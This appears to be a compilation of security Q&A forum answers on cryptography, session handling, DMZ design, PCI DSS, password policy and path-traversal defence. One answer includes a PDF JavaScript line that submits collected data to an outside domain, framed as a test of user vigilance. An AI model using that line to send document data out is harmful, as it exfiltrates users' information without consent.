Even if an adversary attempts to replicate the same circuit with the same response the output key will be different provided. As process variation is naturally occurring variation,when integrated circuits are fabricated. Due to process variation, each transistor parameters follows a gaussian distribution with a specific variance. With better fabrication process, this variance can be reduced but can't be neglected completely. So as long as process variation is there different puf-circuit will produce the unique key, provided they meet certain puf-standards.


Choosing token over session or vice versa?

A token and a session is basically the same thing on a different view. A cookie would be a different thing.

As the HTTP protocol is stateless, the server must have a way to maintain the state of the connection. A session (generally) is a file stored on the server, with all the state variables of the client on it. The token is the value send back from the client, so the server knows which file to read. A session and its token are more secure than a cookie because the client cannot change arbitrary fields, and generates less traffic.

A cookie is another approach: it's a file stored on the client with all the session data. They store all data of the connection. I don't like cookies because of the overhead of making sure that the client haven't changed any value.


Seeking Review for Authentication and Message Encryption Approach

No, no, no, no, no!
The first rule of encryption club is do not roll your own algorithm.  ;-)

Seriously, just don't.  Even if it sounds good to you, or to everyone on this forum, don't do it!  It is easy to create an algorithm which you can't break.  This is rarely if ever actually secure.

My first question would be, what's wrong with using SSL/TLS? It pretty much exists to solve the problem you are facing.  If we knew why it was unsuitable for your use case, we might be able to offer a better alternative.

The most obvious problems with your design are: 1) all the goodies, including the symmetric key are being stored on your server, and 2) you are re-using the same symmetric key for each message from a given user.

This is very bad.

If the server DB is ever compromised, everyone's messages, past, present, and future are now revealed.  There is no forward secrecy.  At a bare minimum, message symmetric keys with the server should be limited to per-session.

As always, "is your security good enough" depends entirely on your threat model.  Who is going after your stuff, and what is it worth to them, and to you if it gets compromised.

This is not what I would call a production-ready approach to security.


You could also create a "traffic generator" that randomly browses all kinds of sites at all hours.  It would need to do a full impersonation where it visited a page and pulled down all of the resources (css, javascript, images) and then followed links, etc.

A really good impersonator would browse at human-speed and develop habits such sites it likes to revisit or things it searches for.

Generate enough random traffic and your traffic should blend right in.  It won't hide your behavior but it will make it difficult for it to attribute it to you.


Does moving Root CA server require reissue and reinstall all server certificate?

No, you don't have to reissue certificates. Be sure that you are using official ADCS migration guide to move CA server to another host. Take extra attention to Verifying certificate extensions on the destination CA section.


Are randomly-generated passwords starting with "a" less secure?

It would seem that it depends on how exactly the attacker is going to bruteforce your password. However, my opinion is that in the end it doesn't matter.

A serious attacker will never start from the beginning in alphanumeric order, from aaaaaaaa to 99999999, unless they know they can do that in a reasonable time. If that's going to take them a thousand years, why should they use that method, knowing they will necessarily have to stop at, say, cccccccc? But if the attacker knows that they can try all the possibilities in a reasonable time, then it doesn't matter whether your password is among the first combinations or among the last, because in the end they will find it anyway (in a reasonable time).

Most passwords are still weak (say, your dog's name, plus maybe your date of birth, etc.) and the attackers don't like wasting too much time, let alone years to crack passwords. So what attackers normally do is use dictionaries and patterns. They will first try passwords like: pass123, 123pass, john90, john91, John92, JOHN93, 123456, l1nux4dm1n, etc. If every attempt with dictionaries and patterns fails, they might move on and assume that the password looks truly random. How long will it take to try all the possible passwords? If that can be done in a reasonable time, they might try them all (for example from aaaaaaaa to 99999999). Otherwise if the attacker assumes that they will never be able to try them all, they might try to bruteforce the password with some random guesses (random strings, not ordered): 12hrisn589sjlf, 9f2jcvew85hdye, otnwc739vhe82b, etc. If the attacker is lucky they might find the password, sooner or later. However if the password is too strong, such that it would take them too many years to guess it, they had better give up or think of an alternative attack (phishing, shoulder surfing, keyloggers, etc.)


Can a load balancer "BE" the computer in the DMZ?

A DMZ is both of those things. It is the point where non-trustworthy known non-acceptable inbound requests are blocked (by an outer firewall), and non-trustworthy but potentially acceptable inbound requests are terminated and evaluated for potential re-initiation to the sensitive interior.

This evaluation process may lead to a compromise, so the subnet in which the application terminating the inbound request lives should itself be separate from the interior networks, potentially using another firewall for segregation. This request-terminating-application is also known as a reverse proxy.

So:

internet -> firewall -> reverse proxy -> firewall -> lan

For HTTP, the reverse proxy can be considered a layer 7 or application firewall. It should do protocol compliance and request sanitization and should support some defensive functions like blacklisting and malicious request signature functions.

For HTTPS, the reverse proxy terminates HTTPS, though traffic from the reverse proxy into the LAN may be re-encrypted.

The load balancing role can be placed in a DMZ, but the need should be evaluated. Load balancing is usually an application function that requires orchestration and coordination with application deployments, and is also logically downstream of the kinds of sanitization and safety-oriented functions that should occur in a DMZ.

So:

internet -> firewall -> reverse proxy -> firewall -> load balancer

In terms of trust boundaries, the internet is untrusted, the DMZ (where the reverse proxy runs, in between the two firewalls) is semi-trusted, and the lan, where the load balancer runs, is trusted.

Finally, nginx is versatile software that can support both reverse proxy/web application firewall and load balancing functions, and so often it will be the same nginx instance playing both roles- meaning load balancing is in the DMZ, though there also can still be a firewall between nginx and the application hosts.

So:

internet -> firewall -> nginx (waf and lb) -> firewall -> applications

That may or may not be fine, depending on the audit conditions.


PCI requirements to handle physical credit cards in non-payment contexts?

Who requires you to be compliant?

PCI DSS is not a law, and nothing in the PCI DSS can require you to be compliant if you don't want to. The usual meaning when people say "X needs to be PCI DSS compliant" is that either X has signed a contract where they agree to comply with PCI DSS, or want to sign a contract of a type where every partner will require them to be compliant - e.g. taking credit card payments.

If you don't want to be compliant, and haven't agreed to be compliant, then you can blatantly violate all PCI DSS conditions with two major risks:

the payment card industry may not want to talk to you, possibly in other aspects as well - e.g. if one of your products obviously goes against PCI DSS, then you may find out that you're unable to receive credit card payments for any products and services. That third party PCI-compliant provider might easily consider it good practice to refuse service to you if they believe you're misusing credit card data. Also, issuing banks may take action against you to prevent their cards being used in such a way - for example, if I as an issuing institution noticed that "End-users (bank customers) are sending cards" to some third party in sufficient numbers to warrant their attention, then it would be a proper and reasonable reaction to contact all customers who had transactions with you, notify them that their cards were compromised by doing this and asking them not to do it ever again, blocking all involved cards, requiring them to be replaced, and blocking any future card payments to you as potentially fraudulent.
if your cardholder data are fraudulently used, you might be held liable, as knowingly violating "well known industry standards" can be considered negligence and put you at fault if some fraudster manages to obtain that CC data and harm your customers. Due to this, you might want to follow at least some of PCI DSS guidelines anyway, as they include a lot of best practices for secure handling of data.


I will attempt to put together an answer based on the comments.
In broad strokes, you're right that life would be better if apps with sensitive data refused to run on jailbroken devices. That said, the whole point of jailbreaking is to rip open the security features of the operating system and allow apps to have root access. Your question

Should an iOS app be allowed to run on jailbroken devices?

is kinda like asking

"Should valuable jewelry be allowed in my house after I've removed all the doors and windows?"

I mean, no, they shouldn't, but that's really your fault, not the jewelry's.

Is there a way so that an app can't be installed on a jailbroken device?
Can Apple control which apps can't run on jailbroken devices?

Only Apple can provide a proper answer to this, anything said here will be speculation. The short answer is: not really or not reliably.

Google "how to detect a jailbroken iphone" and you'll fined a pile of articles and Stack Overflow questions which basically confirm that people do try to detect if their app is running on a jailbroken device, but it's a game of cat-and-mouse:

Jailbreak Detection Methods
How to detect that the app is running on a jailbroken device?

Like any other rootkit, the authors of jailbreak tools want to make it hard to detect whether or not the device is jailbroken. By trying to detect it, you're basically entering into an arms race with the rootkit authors.


Does there exist software that will scan a filesystem for possible files containing PHI?

You probably want to look at two classes of products: Data Leakage Protection (DLP) and intrusion detection systems (IDS). To detect ePHI on a system, you are more or less going to be checking for some common things based upon patterns. For example, in your EMR if you identify patients using a 10 digit code that starts with 4 letters followed by 6 numbers, you would configure the tool to look for that pattern. However, ePHI may not always be so high level, you may need to look for descriptive patterns as well such as "patient test results", etc.

One concerns would be looking inside proprietary apps or files, as well as binary only files that need a special tool to be read. Furthermore, you need to be able to do image reading and possibly OCR.

You may also want to look into web filtering, email rule detection, etc. Health practitioners may email files or notes outside of the EMR which could lead to exposure.

Detecting what is already out there is going to be a pain, because likely no one cared before. If you can get these modules built into EMR or other tools which can be more easily controlled it will save you time in the long run. You can also look at locked down environments, limit tools, etc.

There are lots of vendors in this space who are selling things for HIPAA (as they actually start enforcing HIPAA, there will be more vendors willing to sell you products). You could try just running basic regex search tools against each host (e.g., agent ransack), but that could be a pain.

There are some free tools, like spider and MyDLP, that can help with PII detection, but may not be out of the box set for HIPAA.

Websense offers a product for HIPAA DLP:

  Data Loss Prevention (DLP) solutions are essential to compliance with
  these requirements but must exhibit the following key attributes. They
  must:

  Provide visibility into ePHI content across multiple usage
   scenarios including email, Web, endpoint applications, peripheral
   storage, and enterprise storage systems. This helps satisfy many HIPAA
   security rule and HITECH Act requirements for ePHI disclosure by
   detecting breaches as they occur.

  Exert control by enforcing encryption of ePHI in common business
   processes such as email and storage in databases. Prevent the breach
   in the first place by blocking its transmission via email and Web, or
   block copy from end-user applications to peripheral devices. Simplify
   enforcement using policy templates and reporting, which is both built
   in and customizable.


Are password and username revealed when server ip and domain ip are equal?

If the domain resolves (on that host) to one of the IPs attached to an interface on that host, then the traffic will remain within the host.  However, should you add a CDN (Cloudflare, etc.) at some point in the future, then your traffic will go out over the internet to the CDN before coming back to your backend.

If you're using a proper implementation of HTTPS (as implied by the URL in your example), then the username and password are not revealed even if the traffic traveled over the network.  (Unless using an SSL-terminating CDN, but you'd already be putting a lot of trust in that CDN.)


Are there really functioning quantum computers?

Yes, a fully functional quantum computer could solve the hard problems that are at the root of Public Key cryptography. And yes, D-Wave Systems have indeed produced a machine that seems to have some characteristics of quantum computing. But D-Wave have yet to demonstrate that their computer meets all the criteria of quantum computing needed to solve problems like the RSA problem or the discrete logarithm problem.

In fact some experts doubt if the D-Wave computer should be considered a quantum computer at all. MIT Associate Professor Scott Aaronson wrote on his blog:

  For me, three crucial points to keep in mind are:

  (1) D-Wave still hasn’t demonstrated 2-qubit entanglement, which I see
  as one of the non-negotiable “sanity checks” for scalable quantum
  computing.  In other words: if you’re producing entanglement, then you
  might or might not be getting quantum speedups, but if you’re not
  producing entanglement, then our current understanding fails to
  explain how you could possibly be getting quantum speedups.

  (2) Unfortunately, the fact that D-Wave’s machine solves some
  particular problem in some amount of time, and a specific classical
  computer running (say) simulated annealing took more time, is not (by
  itself) good evidence that D-Wave was achieving the speedup because of
  quantum effects.  Keep in mind that D-Wave has now spent ~$100 million
  and ~10 years of effort on a highly-optimized, special-purpose
  computer for solving one specific optimization problem.  So, as I like
  to put it, quantum effects could be playing the role of “the stone in
  a stone soup”: attracting interest, investment, talented people, etc.
  to build a device that performs quite well at its specialized task,
  but not ultimately because of quantum coherence in that device.

  (3) The quantum algorithm on which D-Wave’s business model is based —
  namely, the quantum adiabatic algorithm — has the property that it
  “degrades gracefully” to classical simulated annealing when the
  decoherence rate goes up.  This, fundamentally, is the thing that
  makes it difficult to know what role, if any, quantum coherence is
  playing in the performance of their device.  If they were trying to
  use Shor’s algorithm to factor numbers, the situation would be much
  more clear-cut: a decoherent version of Shor’s algorithm just gives
  you random garbage.  But a decoherent version of the adiabatic
  algorithm still gives you a pretty good (but now essentially
  ”classical”) algorithm, and that’s what makes it hard to understand
  what’s going on here.

So at least for now there is no practical quantum computer in existence that would undermine Public Key cryptography nor is one expected in the near future. Some experts  believe that it's still a long way off.

BTW, for a great analysis of the impact of a future quantum computer on cryptography I would recommend Matthew Green's blog post on this subject.


Metadata leakage from security camera upload times

A lot would depend on your environment and what is being protected by the security cameras. For example, if you have multiple cameras and different filenames for each camera, then potentially, you could track the movements of someone in your environment. This could compromise other aspects of your security - for example, tell someone where the security patrol is or what path/pattern they follow and frequency of patrols etc. It may also be possible to perform some analysis of the file sizes to derive some other information as well - for example, perhaps number of people etc. One of the limitations of this type of metadata analysis is that you typically require quite large data sets in order to find meaningful metadata information. This often means considerable effort over an extended period of time. It also needs additional information about the environment i.e. number of cameras, site layout, file formats etc. Humans are also very creative and the right individual with the right mindset may find ways of deriving information which nobody else was able to conceive. This is why it is usually wise to limit the amount of information, meta or otherwise, attackers can access. The challenge is getting the balance right - at what point is the amount of effort used to hide this information more effort than the risk it is protecting against.

Then of course, there is the danger of actually cracking your gpg - while gpg is pretty good, it is also possible to either misconfigure it to use poor ciphers or too small a key etc. Sometimes, with applications like this, which may potentially need to encrypt large data sets frequently, options which increase encryption speed/efficiency are selected. In general, speed/efficiency and security are at opposite ends and if you don't get the balance right, you can compromise the security of the encrypted files. don't assume just because you are using gpg that your data is safe - it depends on what configuraiton options you are using.

Personally, I'd be more worried about the server compromise than the metadata such a compromise is able to reveal. Unless you are simply assessing the potential impact from a compromise, you need to consider what can be done to prevent the initial compromise first and then assess what measure would be approrpiate to mitigate the impact shold the compromise occur.

Having said all of this, I think it also needs to be highlighted that when it comes to physical security, more often than not, the real weakness is something far more simple. The effort and amount of information that can be gained indirectly via metadata usually takes considerable effort. You often require large amounts of input data to find useful patterns and it is generally a lot of work. This effort will only be worthwhile when the value of whatever is being protected is fairly high and even when it is, you will likely get a faster and less resource intensive result using simpler social engineering techniques or just finding overlooked physical security weaknesses.


Okay I find a way by using :

this.submitForm("http://mydomain.fr/var="+thedataIwant);

The user is prompted about a HTTP connection tentative but this is the vigilance I want to test for.
The articles of this guy help me a lot: https://acrobatusers.com/tutorials/author/parker


Can I control surveillance system remotely without an app/browser?

If you can find a security camera that has HDMI and implements HDMI-CEC then you may be able to control it through your television.


Tons of vulnerabilities are found on tcp/0 port using vulnerability scanners

How could a IANA reserved port(tcp/0) handle traffic?

It can. Generally, TCP (or UDP) port 0 being in a reserved state doesn't mean it can't be used in practice. Though the way Berkeley sockets are designed it's not that easy to bind on port zero, it's nevertheless possible to use it.

However, it's highly unlikely that this is actually happening in your case. You're just using the Nessus scanner which lists activities not closely related to a specific port under port 0/TCP or 0/UDP (see: "Vulnerabilities by Host"). This is simply an (inconvenient?) convention to display port-less warnings under port 0 -- ironically, to avoid confusion.

Note that those a) are not necessarily vulnerabilities, just warnings or suggestions (e.g. not adhering to the best Microsoft practices while running a scanner); b) are not necessarily false positives. Try to ignore port zero itself, read the report carefully and act accordingly.


nmap reports a remote host as up, while it is down?

What do you have, network-wise, between you and your servers ?

Any active element (router, firewall, etc.) can modify your trafic, hence:

the fact that ping does not work can be unrelated to your server state. ICMP trafic is often something completely filtered out
your nmap case is stranger, but can still be explained the same way, it also depends if you use a name or an IP

In both cases to really monitor things you should use a service you control on the server (like ssh, http or something more specific), connect to it and verify that you get back what you expect (a specific result).


Ransom-ware nuclear. how did it get into my pc?

Many ransomware types lie dormant for a while before attacking so that you can't track down where it came from. Also, you may not have initially been infected with this type of ransomware. You may have gotten some other dropper malware and it later pushed out a bunch of different malware to infected computers. Without an in depth forensic analysis of the computer nobody can tell you specifically where it came from.

You want us to tell you an a or b answer but the issue is that it's very likely neither of the two.


Which Domain Administrator created file X on a Windows 2008 R2-based server?

There's not a direct way to find out who exactly created the file on NTFS by hindsight. However, you might have a chance checking the event logs to determine who was logged in as an admin by that time. If you're lucky there was only one administrator present.

If you want to monitor such activities for certain directories from now on, there're various tools available. It can be done with process monitor for example, and if it's not a local account that is creating those files you can perform a lookup with netstat on the PID to get the IP of the user.


Pinhole communication with air gapped network

An air-gap is used as a complete separation between networks with different security requirements. You don't want this kind of full separation since it makes data exchange impossible. Instead you want to have as much separation as possible.  Especially you want to make sure that no data from the maybe already compromised lower security network might harm the higher security network.

In the easiest case data should never flow from the low security network to the higher security network at all, but only in the other direction. A use case for this is for example the transfer of log and status data from an industry network into the monitoring network for log aggregation, display and analysis. Technologies in this area are data diodes which guarantee that data can only flow in one direction, sometimes guaranteed by hardware and sometimes by minimal and easy to audit software stacks like microkernels.

The more complex case is restricted bidirectional communication. In this case attacks from the lower security network might happen at various layers: from network layer up to the application layer. Your idea of using a serial line tries to reduce attacks at the network layer by replacing the large attack surface of a full and complex network stack with the hopefully smaller attack surface of a more simple serial line interface.

You also try to deal with attacks at the higher layers by accepting only signed packets from the lower security network. But since the lower security network might have been compromised, the attacker might also have access to the secrets needed for the signature and is thus able to sign any kind of payload he wants. This means you should not trust anything coming from the low security network, even if it is signed.

Instead you need to make sure that only payloads gets send from low to high security network, which are fully expected at the high security network and thus will not cause harm there. In the easiest form this might be a fixed set of messages which are allowed. More complex are a fixed set of messages which can be slightly parameterized, in which case you need to validate that the parameters match the expectations. Depending on the actual requirements regarding data transfer and the costs of failure such validation and maybe sanitization or transformation of the payload can be really complex. And of course, it might contain exploitable bugs too, so you also need to protect the validation itself. In higher security environments (like government, banks or energy sector) one might opt for dedicated gateway devices with a hardened and minimal OS which only have this one task of validating, sanitizing and transferring payloads in specific protocols and which can be more easily audited because of the lower complexity.


Encryption method and other security concerns for a simple password manager

Good on you for trying to learn this. Keep in mind that whatever you produce shouldn't be put into an actual production environment even on the personal level. Consider this as a learning opportunity and not a recipe to cook your own password manager. Usually, you'd do something along these lines:

Generate a random 256-bit key. This is your master encryption key.
Take the master password and run it through PBKDF2 along with a 64-bit salt and get a 128-bit key. This is your secondary encryption key.
Use the secondary encryption key to encrypt the master encryption key using AES in the EAX mode and store it somewhere.
For the database, use any format you want. As I'm not sure which one to choose, I'll say XML. Encrypt the database using the master encryption key.
When the user wants to access database you load the encrypted file in the memory, take the master password and run it through PBKDF2 with salt and get the secondary key, use the secondary key to decrypt the master key, and finally use the master key to decrypt the database.
After the user finishes accessing; adding; modifying; or deleting entries from the database, you simply encrypt it again and discard everything from the memory.
When the user wants to change the password, you decrypt derive the secondary key from the old password, decrypt the master key, derive a new secondary key from the new password, use that key to encrypt the master key. By doing this, you don't have to decrypt and re-encrypt the database when the password is changed as the master key is kept the same.

Finally, I recommend that you take a look at KeePassX's source code. A lot of information can be harvested from there.

I'll say this again, do not use the actual application you produce. You might (and very likely will) do something wrong at some point. Heck, my instructions themselves could be (and probably are) wrong.

Happy learning!


Why can't I use the same key for encryption and MAC?

Using one key for multiple purpose is considered bad style in general. It doesn't directly imply a vulnerability. I violate this principle occasionally, if it is convenient for protocol design.

The most important reason for this is that, if you use the same key for multiple schemes, you need to consider interactions between the different schemes. With independent keys you don't need to worry about this.

Another concern is that one scheme might get broken, allowing key recovery. That key recovery then breaks all parts of your protocol that used that key. For example, if you implement a bad MAC algorithm, a break against that algorithm might not only break the authentication but also the confidentiality of your message.

Some practical examples:

Using AES-CBC for encryption together with AES-CBC-MAC is totally broken if you use the same key.
Using AES for encryption together with HMAC-MD5/SHA-1/SHA-2 has no known interactions. It is implausible that there are such interactions.
AES-CCM is a mode that uses AES-CTR for encryption and AES-CBC-MAC as MAC. This mode is provably as strong as AES itself.

These examples show that the practical security of such a combination can range from totally broken to provably secure.

The proper approach is to start with with one master key and use a key-derivation-function, such as HKDF, to derive individual keys. These keys are independent, preventing interactions between the different schemes. It is not feasible to recover the master key from individual keys, so a break against one part of the system doesn't break everything else based on that master key.


Acronym CSRF refer to token or the attack itself?

CSRF is the attack.  A countermeasure to the attack is implementing CSRF tokens.  These tokens are intended to prevent CSRF attacks from working.  If someone just says "CSRF" they're probably talking about the attack but you'll have to determine that yourself from the context of how it is used.

Your application (or framework in some cases) is what needs to know what CSRF token to expect.  So the name of the cookie or parameter isn't important as long as your app knows what it is.  There isn't a standard name that has to be used.

Here's another question and answer about preventing CSRF that gives you pointers on fixing the issue.


What is worse for password strength, a poor password policy or no password policy at all?

The question is: worse for what?

With the policy you posted, the possible passwords are less than 64⁸ (~2.8*10¹⁴). In practice, very much passwords will probably be [a-z]*6[0-9][special char] (e.g. aabaab1!) and similar passwords.

All possible passwords with the same characters and length less than 8 are just 64⁷+64⁶+64⁵+... which is ~4.5*10¹². Thats a lot less than the passwords with length 8, so it doesn't increase security much to allow them. (allowing longer passwords would obviously increase security a lot)

Without any policy, many people will also use bad passwords, sure. But an attacker can't be sure about that. Also some people will use better passwords.

Without any policy, an attacker can never be sure how hard it is to crack a password. If you give me a DB of password hashes, I might try to crack it. But if there are no results, after some time I might stop. With the policy in place I can be sure that after 64^8 tries I have all passwords.

I would say, a bad password policy is worse. But it depends on the attack scenario.

With a dump of password hashes, with no password policy it is very likely easier to crack any password but harder to crack most passwords.
With a bad policy like the one given, it is easier to crack all the passwords but slightly harder to crack the first one, most likely.

If your concern is how hard it is to crack your own password, without any policy you can use a secure 20 char random password if you want. With the policy in place, you are forced to use a insecure password. (in practice, it's more relevant how the passwords are stored and so on, but that's out of scope here). So as a user of the website/service, a bad password policy is a lot worse.

If you look at it from an organizational standpoint, a bad password policy is way worse than none.

No password policy means, probably nobody thought about it (not very good that they don't think about security, but ok...)

But a bad password policy means: Somebody thought about it and came up with that crap. This means they probably have no clue about security.

In the end, if you can implement a bad password policy, you can also implement a good one so there is no excuse for a bad password policy ever. Just changing the policy to "A password has to be at least 8 characters" would increase security a lot and isn't hard to do.


Hashed master password and generated encryption key in a password manager program

If you want to create an encryption key or store a hashed password, you want to use a key derivation function, not a simple hashing function like SHA-256.  A KDF is like a hash that gets applied many times, but is typically designed to be computationally expensive in order to make brute-force searches harder.  While you might be able to use SHA-256 as a KDF by calling it multiple times, this is not the standard way to do things, and may be much less secure than it appears since you need a very large number of iterations to provide effective mitigation against brute-force attacks.

The most popular (read: carefully studied and probably secure) KDFs in current use are PBKDF2 ("password-based key derivation function 2") and bcrypt.  Either is suitable for hashing and storing passwords, as well as for creating encryption keys.  There are also some newer algorithms such as scrypt which may be more secure under some definitions, but it is my understanding that they are newer and less well-studied.  "Security" is, of course, not a numerically quantifiable variable, so it's not entirely meaningful to say that "algorithm X is the most secure choice."

Generally, a KDF will take a parameter called the work factor or the number of rounds.  This describes how much computational effort is required to compute a hash or derive a key.  As computers get faster, this parameter needs to be increased in order to ensure that your hashed passwords remain sufficiently resistant to brute-force attacks.


Using a separate email address for each contact

Does anyone use such a scheme?

Yes. I know several people who run their a mail server on their own domain.  Every new contacts is treated as a potential spammer and everybody gets an unique email address.

  Do you think it's any good at all?

That depends on your goals.

It suffices for your "2) address is associated with the receiver."
It is not enough to prevent your ISP or mail provider to track you.

  Are there existing solutions?

The closest thing I can come up with are sites such as http://www.mailinator.com/ and http://spamgourmet.com/ . Those are used by lots of people, which means that you can not be tracked down just by looking at the domain. However you still have to trust the mail provider not to leak information.

  What Linux mail client might prove suitable for adding this functionality?

No idea.

  How to automate the generation of new addresses? Is there a provider offering an API that is sufficiently capable?

That depends on the previous answer.


PHP Code Injection vulnerability exists even after recommended hardening

Right Idea, wrong implementation

  On all the input fields we have done the input sanitization. We we
  have allowed only digits and put a limit on the number of digits
  allowed. We have also used the functions such as htmlspecialchars ,
  escapeshellcmd, escapeshellargs etc.

Input sanitization is the crux of your problem ... but sanitizing it on the front end is just putting lipstick on a pig.  Anything code that is run on the client side should not be trusted ... so sanitizing client side is purely for UI/UX functionality.  For security you need to do the same sanitation on server side, and kick back error codes as needed.


Does it make sense encrypt an HTTP payload using JWE

Unless you have some very specific requirements that you haven't described in your question, ECE and JWE are unlikely to be appropriate for your application.

HTTP traffic is conventionally encrypted using TLS, as HTTPS. Other options should only be considered if there is a very specific reason why HTTPS is insufficient.


Best practice for creating an initial IPS policy

I would normally advice to deploy your IPS in non-blocking mode to start off with running the default policy, plus any other signatures\policies that specifically apply to whats running on your network.

Once that policy has been up and running for a while and you are happy with the following

The false positive rate
The performance stats (packet drop etc), especially under high load (pps,throughput)
The tunning you have done to eliminate false positives

Then you need to consider whether to broaden the set of policies enabled. In doing so you need to consider the following.

Have you full control over applications\nodes deployed on your network ?
Will you be alerted if new applications\nodes
appear on your network ?

In an ideal scenario your IPS will only have signatures enabled which cover the applications running on your network. The advantage of doing this are as follows.

Lowers the possibility of a false positive blocking legitimate traffic, the less signatures enabled the lower the false positives.
In general the lower the number of signatures enabled means better performance reducing the chances of malicious traffic going undetected due to performance problems.

Once you have this done you should consider enabling blocking mode on your IPS.


Why does SSL use both asymmetric cryptography and symmetric cryptography algorithms together?

Symmetric cryptography cannot be used for exchanging secrets between machines that had never communicated before, but asymmetric cryptography is limited to encrypting very small data (the size of the key) and is extremely slow when used to encrypt larger blocks. That's why all practical cryptography scheme uses both.


Exception handling in multi-tier applications

Voting to close this as it is not a question about security. It is a question about software engineering and architecture:

The best place to handle the exception is as close as possible to where the exception occurs - the separation of functionality is all about abstraction - the remote higher levels are separate because they don't know about what is going on in the lower layers hence they cannot provide meaningful messages about the event not handle an automated response. Having said that, it is essential to track the (potentially distributed) transaction in order to

accurately log the connection between cause and effect
resolve data issues

And that means the entry point has a very specific role to play in case exceptions occur; it needs to tag the transaction with a unique identifier propagated with the sub component messages.


How to prevent directory traversal when joining paths in node.js?

Here's is one approach I've used in this situation:

path.normalize() handles all . and .., so you can be sure that if either one is present, it will be at the front of the path.
Remove any ../../ from the front of your path.

So:

var safeSuffix = path.normalize(unsafeSuffix).replace(/^(\.\.(\/|\\|$))+/, '');
var safeJoin = path.join(basePath, safeSuffix);

About your approach: checking the prefix seems like a pretty good idea to me.  There are a couple of problems I see with your implementation:

You've checked for a prefix without a trailing slash: ../html-other will resolve to public/html-other, which I guess is not what you want.
You would run into trouble on Windows systems, where .normalize() would convert / to \, meaning no paths would work.

When I've done prefix-checking (for slightly different situations), here's what I ended up with:

function checkPrefix(prefix, candidate) {
    // .resolve() removes trailing slashes
    var absPrefix = path.resolve(prefix) + path.sep;
    var absCandidate = path.resolve(candidate) + path.sep;
    return absCandidate.substring(0, absPrefix.length) === absPrefix;
}

(Yes, I added path.sep to both, so that the prefix dir itself passes the test.)


The most secure way to handle someone forgetting to verify their account?

What I see most commonly is allowing the authentication and signing the user in, but locking meaningful features away until the email is verified. You should bubble up an error reminding the user to re-send an activation email if they try to access one of the restricted features.

It is poor design to ever lie to a user - if they submit the correct username and password, you should never show an error claiming that either is incorrect.


Do interactive ads on Android pose a security risk?

As the famous quote says "If something is free, you are the product". So, most of the free applications in order to generate revenues use ads as a means. However, the ecosystem around the ads isn't really secured and this is where malicious actors abuse the underlying vulnerabilities. In another terms, this can be referred to as Malvertising.

A good read on how steganography is used to exploit at https://www.zdnet.com/article/malicious-code-hidden-in-advert-images-cost-ad-networks-1-13bn-last-year/

Also, HTML5 seems to be heavily abused by Threat actors in the recent days and more on this at https://mediatrust.com/blog/html5-safe-haven-malware

Hope this helps!


How to satisfy requirement 10.6 of PCI DSS?

Reviewing logs essentially means to read through them and look for anything that might constitute an attack or security risk. In general you're looking for anything unusual. You might use various log filtering tools to aid you in this activity, or prioritise your events by severity if you're looking at IDS logs.

An exception, in this context, is any log that falls outside the normal pattern of activity. What they're saying is that you can't just review logs and then do nothing about your findings - you must follow up on any unusual traffic, and do some investigation into the source and cause. If your investigation into an exception turns up something meaningful, you also need to act on it. Normally this involves documenting the event and proposing a mitigation.

Essentially the point of this is to ensure that you are actively monitoring any potential intrusion attempts.

As an example, let's say you've got an IDS that sits on the perimiter of your DMZ. In order to comply with PCI-DSS 10.6.a, you must read through any logs and alerts at least daily, and investigate the source of them. You might find that a device performed a port scan, which you would have to document, and do some research into where it came from. If you identify that the device is not on your assets list, you might decide to add a firewall rule to block it. Keep in mind, though, that this is just one example - PCI DSS leaves this intentionally vague in order to cover all kinds of events and logs.


Yes - software installed on a machine can monitor all activity, regardless of network connection. It likely even works when the computer is offline, storing all the information locally until it's connected to the internet again when it can send its stored info to your school administrators. It won't be able to monitor any other devices on the same network through - if you've connected your school laptop to your home wifi your tablet or phone won't be monitored. While I'm not familiar with the software, stuff I'd assume is monitored and alerted on:

websites you visit
installing software
any attempts to access underlying system resources, such as console commands, attempting to run scripts as an admin, etc
files downloaded

Keep in mind that while HTTPS blocks someone from sniffing your network stream, it doesn't work on something installed on the device because that sits outside the protected HTTPS tunnel. Anything sent over HTTPS can still be viewed (chat messages on FB, etc).

When using a device that you don't fully own/have admin rights over, it's always wisest to use it as if someone was watching your screen the entire time.


TLSv1: Reason for client not sending client certificate

From the Wireshark trace on B2, we see that the client is simply not responding at all; after one minute, the server grows impatient and closes the connection.

This is probably not a problem of certificate availability on B2: if SChannel simply believed that it had no appropriate certificate, then it would send back an empty Certificate handshake message. At that point, B2 perfectly knows that it is its turn to talk, so if it does not, then that means that it is occupied elsewhere.

One of the following may happen:

There are several matching certificates on B2, and the software on B2 believes itself to be "interactive"; it is thus displaying a certificate selection popup and waits for the user to choose the certificate. I have seen cases where software running as a service account would "show" a popup on a hidden desktop (not the one of the user currently logged in).
The private key is access-protected. It is possible to enable password-based access control on private keys in Windows CryptoAPI (basically, the private key is stored with password-based encryption). In that case, any access will trigger a popup requesting the password entry. For non-interactive systems, this won't go well... (see above). Note that the private key is needed for the CertificateVerify message from the client, after the Certificate and ClientKeyExchange messages, but since these three messages are all "handshake", SChannel will group them in a single record, so in that situation it would be normal not to see the Certificate and ClientKeyExchange messages.
The client is busy validating the server's certificate. Such a validation may entail talking to a lot of other systems, to gather additional intermediate CA and obtain CRL or OCSP responses. These are outgoing requests, so your network installation might block them. Try making a Wireshark trace that includes all traffic, not just the specific TCP/SSL connection; in particular, DNS requests that get no answer should be investigated.

A quick test would be to try to connect from B2 to the target server WS with Internet Explorer. IE will use SChannel (contrary to openssl.exe). Run IE with an account that has access to the expected client certificate and key. This will show you any "interactive" feature.


Spam filters are local in nature; if you want to know why a specific server classifies some emails as "spam" then you must ask the server administrators for details. Only them may answer.

Rejecting all emails from Gmail is kind of extreme, so my guess is that this secureserver.net does not classify as spam the "emails from Gmail", but "your emails from Gmail".

(In the same way that Hotmail classifies my emails as spams, because my name contains a "forbidden word".)


Major industry password leaks using salted HMAC but without eg PBKDF2, scrypt

Perhaps it's also important to point out the breaches that have occurred where there was no evidence of compromised data. LastPass, for example, used "5,000 rounds of PBKDF2-SHA256" and a random salt (https://blog.lastpass.com/2015/06/lastpass-security-notice.html/). Since the breach, there have been no indications that the master passwords were broken.

That's not to say that we will ever necessarily know if the database is broken. If, for example, the database was exfiltrated and resides on a user's machine it doesn't mean that he will post successfully cracked passwords to Pastebin.

It would be a good segue to introduce the idea with the statement that minimal user accounts would be compromised before a password reset is issued. Thus reducing risk and legal liability.


Is ECB secure if I can guarantee that I never encrypt the same block twice?

